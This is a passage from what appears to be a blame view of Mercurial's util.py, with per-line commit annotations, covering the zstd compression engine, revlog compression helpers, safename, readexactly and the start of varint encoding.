Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4048
            from . import zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4049
            # Force delayed import.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4050
            zstd.__version__
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4051
            return zstd
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4052
        except ImportError:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4053
            return None
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4054
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4055
    def available(self):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4056
        return bool(self._module)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4057
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4058
    def bundletype(self):
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4059
        """A modern compression algorithm that is fast and highly flexible.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4060
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4061
        Only supported by Mercurial 4.1 and newer clients.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4062
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4063
        With the default settings, zstd compression is both faster and yields
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4064
        better compression than ``gzip``. It also frequently yields better
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4065
        compression than ``bzip2`` while operating at much higher speeds.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4066
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4067
        If this engine is available and backwards compatibility is not a
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4068
        concern, it is likely the best available engine.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4069
        """
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4070
        return 'zstd', 'ZS'
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4071
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4072
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4073
        return compewireprotosupport('zstd', 50, 50)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  4074
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4075
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4076
        return '\x28'
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4077
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4078
    def compressstream(self, it, opts=None):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4079
        opts = opts or {}
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4080
        # zstd level 3 is almost always significantly faster than zlib
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4081
        # while providing no worse compression. It strikes a good balance
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4082
        # between speed and compression.
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4083
        level = opts.get('level', 3)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4084
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4085
        zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4086
        z = zstd.ZstdCompressor(level=level).compressobj()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4087
        for chunk in it:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4088
            data = z.compress(chunk)
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4089
            if data:
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4090
                yield data
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4091
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4092
        yield z.flush()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4093
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4094
    def decompressorreader(self, fh):
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4095
        zstd = self._module
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4096
        dctx = zstd.ZstdDecompressor()
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4097
        return chunkbuffer(dctx.read_from(fh))
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4098
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4099
    class zstdrevlogcompressor(object):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4100
        def __init__(self, zstd, level=3):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4101
            # Writing the content size adds a few bytes to the output. However,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4102
            # it allows decompression to be more optimal since we can
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4103
            # pre-allocate a buffer to hold the result.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4104
            self._cctx = zstd.ZstdCompressor(level=level,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4105
                                             write_content_size=True)
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4106
            self._dctx = zstd.ZstdDecompressor()
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4107
            self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4108
            self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4109
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4110
        def compress(self, data):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4111
            insize = len(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4112
            # Caller handles empty input case.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4113
            assert insize > 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4114
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4115
            if insize < 50:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4116
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4117
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4118
            elif insize <= 1000000:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4119
                compressed = self._cctx.compress(data)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4120
                if len(compressed) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4121
                    return compressed
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4122
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4123
            else:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4124
                z = self._cctx.compressobj()
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4125
                chunks = []
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4126
                pos = 0
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4127
                while pos < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4128
                    pos2 = pos + self._compinsize
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4129
                    chunk = z.compress(data[pos:pos2])
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4130
                    if chunk:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4131
                        chunks.append(chunk)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4132
                    pos = pos2
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4133
                chunks.append(z.flush())
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4134
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4135
                if sum(map(len, chunks)) < insize:
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4136
                    return ''.join(chunks)
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4137
                return None
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4138
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4139
        def decompress(self, data):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4140
            insize = len(data)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4141
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4142
            try:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4143
                # This was measured to be faster than other streaming
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4144
                # decompressors.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4145
                dobj = self._dctx.decompressobj()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4146
                chunks = []
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4147
                pos = 0
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4148
                while pos < insize:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4149
                    pos2 = pos + self._decompinsize
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4150
                    chunk = dobj.decompress(data[pos:pos2])
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4151
                    if chunk:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4152
                        chunks.append(chunk)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4153
                    pos = pos2
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4154
                # Frame should be exhausted, so no finish() API.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4155
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4156
                return ''.join(chunks)
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4157
            except Exception as e:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4158
                raise error.RevlogError(_('revlog decompress error: %s') %
36422
04c319a07c7b py3: hunt down str(exception) instances and use util.forcebytestr
Augie Fackler <augie@google.com>
parents: 36418
diff changeset
  4159
                                        forcebytestr(e))
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  4160
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4161
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4162
        opts = opts or {}
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4163
        return self.zstdrevlogcompressor(self._module,
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4164
                                         level=opts.get('level', 3))
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  4165
30442
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4166
compengines.register(_zstdengine())
41a8106789ca util: implement zstd compression engine
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30438
diff changeset
  4167
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4168
def bundlecompressiontopics():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4169
    """Obtains a list of available bundle compressions for use in help."""
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4170
    # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4171
    items = {}
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4172
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4173
    # We need to format the docstring. So use a dummy object/type to hold it
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4174
    # rather than mutating the original.
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4175
    class docobject(object):
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4176
        pass
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4177
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4178
    for name in compengines:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4179
        engine = compengines[name]
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4180
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4181
        if not engine.available():
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4182
            continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4183
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4184
        bt = engine.bundletype()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4185
        if not bt or not bt[0]:
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4186
            continue
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4187
31811
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31792
diff changeset
  4188
        doc = pycompat.sysstr('``%s``\n    %s') % (
d955b02d8ec6 util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents: 31792
diff changeset
  4189
            bt[0], engine.bundletype.__doc__)
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4190
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4191
        value = docobject()
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4192
        value.__doc__ = doc
33818
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33799
diff changeset
  4193
        value._origdoc = engine.bundletype.__doc__
ed04d7254a91 i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33799
diff changeset
  4194
        value._origfunc = engine.bundletype
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4195
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4196
        items[bt[0]] = value
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4197
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4198
    return items
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  4199
33820
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33818
diff changeset
  4200
i18nfunctions = bundlecompressiontopics().values()
fa7e30efe05a i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 33818
diff changeset
  4201
20244
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  4202
# convenient shortcut
47d0843647d1 util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents: 20202
diff changeset
  4203
dst = debugstacktrace
34554
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4204
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4205
def safename(f, tag, ctx, others=None):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4206
    """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4207
    Generate a name that it is safe to rename f to in the given context.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4208
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4209
    f:      filename to rename
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4210
    tag:    a string tag that will be included in the new name
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4211
    ctx:    a context, in which the new name must not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4212
    others: a set of other filenames that the new name must not be in
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4213
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4214
    Returns a file name of the form oldname~tag[~number] which does not exist
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4215
    in the provided context and is not in the set of other names.
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4216
    """
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4217
    if others is None:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4218
        others = set()
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4219
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4220
    fn = '%s~%s' % (f, tag)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4221
    if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4222
        return fn
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4223
    for n in itertools.count(1):
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4224
        fn = '%s~%s~%s' % (f, tag, n)
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4225
        if fn not in ctx and fn not in others:
6f11a74d489f util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents: 34467
diff changeset
  4226
            return fn
35754
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4227
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4228
def readexactly(stream, n):
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4229
    '''read n bytes from stream.read and abort if less was available'''
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4230
    s = stream.read(n)
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4231
    if len(s) < n:
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4232
        raise error.Abort(_("stream ended unexpectedly"
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4233
                           " (got %d bytes, expected %d)")
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4234
                          % (len(s), n))
fb0be099063f util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents: 35582
diff changeset
  4235
    return s
35755
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4236
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4237
def uvarintencode(value):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4238
    """Encode an unsigned integer value to a varint.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4239
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4240
    A varint is a variable length integer of 1 or more bytes. Each byte
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4241
    except the last has the most significant bit set. The lower 7 bits of
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4242
    each byte store the 2's complement representation, least significant group
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4243
    first.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4244
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4245
    >>> uvarintencode(0)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4246
    '\\x00'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4247
    >>> uvarintencode(1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4248
    '\\x01'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4249
    >>> uvarintencode(127)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
